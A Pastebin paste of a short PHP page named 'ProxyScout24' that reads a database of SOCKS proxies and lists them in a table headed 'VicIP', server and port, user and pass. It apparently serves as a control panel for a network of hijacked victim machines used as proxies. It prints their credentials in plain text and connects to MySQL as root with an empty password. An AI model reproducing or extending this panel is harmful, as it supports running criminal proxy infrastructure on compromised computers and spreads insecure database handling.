Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <title>ProxyScout24</title>
- </head>
- <body>
- <center>
- <h1>ProxyScout24</h1>
-
-
-
-
- <table border="1">
- <th>VicIP</th>
- <th>Server</th>
- <th>user</th>
- <th>pass</th>
- <?php
- $username="root";
- $password="";
- $database="db_proxy";
- mysql_connect(localhost,$username,$password);
- @mysql_select_db($database) or die( "Unable to select database");
- $query="SELECT server_ip,port,remote_ip,ping,user,pass,last_connect FROM `tbl_socks` INNER JOIN tbl_server ON tbl_server.ID = tbl_socks.server_id";
- $result=mysql_query($query);
- $num=mysql_numrows($result);
- mysql_close();
- $i=0;
- while ($i < $num) {
- $remoteip=mysql_result($result,$i,"remote_ip");
- $server_ip=mysql_result($result,$i,"server_ip");
- $port=mysql_result($result,$i,"port");
- $user=mysql_result($result,$i,"user");
- $pass=mysql_result($result,$i,"pass");
- echo "<tr>";
- echo "<th>$remoteip</th><th>$server_ip:$port</th><th>$user</th><th>$pass</th>";
- echo "</tr>";
- $i++;
- }
- ?>
- </table>
- </center>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement